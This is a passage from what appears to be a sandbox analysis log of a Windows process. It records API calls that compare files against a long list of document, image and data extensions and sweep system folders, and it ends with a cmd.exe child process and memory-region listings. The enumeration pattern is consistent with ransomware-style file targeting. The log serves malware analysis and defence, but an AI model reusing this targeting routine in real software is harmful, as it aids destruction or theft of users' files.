1 [0203.862] lstrlenW (lpString=".config") returned 7 [0203.862] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cpp") returned 4 [0203.862] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cr2") returned 4 [0203.862] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".crt") returned 4 [0203.862] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".crw") returned 4 [0203.862] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cs") returned 3 [0203.862] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0203.862] lstrlenW (lpString=".css") returned 4 [0203.862] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".csv") returned 4 [0203.862] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".cub") returned 4 [0203.863] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dae") returned 4 [0203.863] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dat") returned 4 [0203.863] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".db") returned 3 [0203.863] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0203.863] lstrlenW (lpString=".dbf") returned 4 [0203.863] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dbx") returned 4 [0203.863] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dc3") returned 4 [0203.863] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dcm") returned 4 [0203.863] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dcr") returned 4 [0203.863] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".der") returned 4 [0203.863] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dib") returned 4 [0203.863] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dic") returned 4 [0203.863] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dif") returned 4 [0203.863] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".divx") returned 5 [0203.863] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".djvu") returned 5 [0203.863] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dng") returned 4 [0203.863] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".doc") returned 4 [0203.863] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".docm") returned 5 [0203.863] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".docx") returned 5 [0203.863] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dot") returned 4 [0203.863] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dotm") returned 5 [0203.863] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dotx") returned 5 [0203.863] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dpx") returned 4 [0203.863] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0203.863] lstrlenW (lpString=".dqy") returned 4 [0203.863] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".dsn") returned 4 [0203.864] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".dt") returned 3 [0203.864] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0203.864] lstrlenW (lpString=".dtd") returned 4 [0203.864] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".dwg") returned 4 [0203.864] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".dwt") returned 4 [0203.864] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".dx") returned 3 [0203.864] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0203.864] lstrlenW (lpString=".dxf") returned 4 [0203.864] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".edml") returned 5 [0203.864] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".efd") returned 4 [0203.864] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".elf") returned 4 [0203.864] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".emf") returned 4 [0203.864] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".emz") returned 4 [0203.864] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".epf") returned 4 [0203.864] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".eps") returned 4 [0203.864] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".epsf") returned 5 [0203.864] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".epsp") returned 5 [0203.864] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".erf") returned 4 [0203.864] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".exr") returned 4 [0203.864] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".f4v") returned 4 [0203.864] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".fido") returned 5 [0203.864] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".flm") returned 4 [0203.864] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".flv") returned 4 [0203.864] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".frm") returned 4 [0203.864] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0203.864] lstrlenW (lpString=".fxg") returned 4 [0203.864] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0203.865] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.865] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.865] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.865] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.865] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.865] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.866] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.866] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.866] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.866] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.866] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.867] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.867] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.867] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.867] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.867] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.867] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.867] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.867] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.867] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.867] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.868] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.868] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.868] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.868] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.868] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.869] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.869] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.869] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.869] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.869] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.869] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.869] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.869] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.869] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.870] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.870] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.870] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.870] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.871] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.871] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.871] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.871] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.871] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.872] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.872] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.872] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.872] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.872] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.872] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.872] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.873] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.873] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.873] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.873] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.873] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.873] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.873] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.874] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.874] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.874] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.874] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.874] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.875] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.875] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.875] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.875] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.875] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.875] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.875] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.875] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.876] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.876] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.876] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.876] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.876] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.876] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.876] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.876] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.877] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.877] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.877] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.877] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.877] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.877] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.878] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.878] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.878] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.878] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.878] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.878] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.879] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.879] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.879] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.879] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.879] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.879] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.879] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.879] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.879] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.879] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.880] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.880] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.880] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.880] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.880] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.880] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.880] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.880] FindClose (in: hFindFile=0x611188 | out: hFindFile=0x611188) returned 1 [0203.881] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.881] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.881] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.881] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.881] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.881] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.881] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.882] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.882] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0 [0203.882] FindClose (in: hFindFile=0x611108 | out: hFindFile=0x611108) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x35dfd00 | out: lpFindFileData=0x35dfd00) returned 1 [0203.882] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0x611108 [0203.882] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0 [0203.882] FindClose (in: hFindFile=0x611108 | out: hFindFile=0x611108) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x35dfd00 | out: lpFindFileData=0x35dfd00) returned 1 [0203.882] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0xffffffff [0203.883] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x35dfd00 | out: lpFindFileData=0x35dfd00) returned 1 [0203.883] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0x611108 [0203.883] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.883] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.883] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611188 [0203.888] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.888] FindNextFileW (in: hFindFile=0x611188, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.890] FindNextFileW (in: hFindFile=0x6111c8, lpFindFileData=0x35df58c | out: lpFindFileData=0x35df58c) returned 1 [0203.890] FindNextFileW (in: hFindFile=0x6111c8, lpFindFileData=0x35df58c | out: lpFindFileData=0x35df58c) returned 1 Thread: id = 22 os_tid = 0x860 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x26bdd000" os_pid = "0x124" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x67c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 570 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 571 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 572 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 573 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 574 start_va = 0x4a610000 end_va = 0x4a668fff entry_point = 0x4a610000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 575 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 576 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 577 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 578 start_va = 0x7fffc000 end_va = 0x7fffcfff entry_point = 0x0 region_type = private name = "private_0x000000007fffc000" filename = "" Region: id = 579 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 580 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 581 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 582 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 657 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 658 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 659 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 661 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 662 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 663 start_va = 0x170000 end_va = 0x1d6fff entry_point = 0x170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 664 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 665 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 666 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 667 start_va = 0x7fef44b0000 end_va = 0x7fef44b7fff entry_point = 0x7fef44b0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 668 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 669 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 670 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: 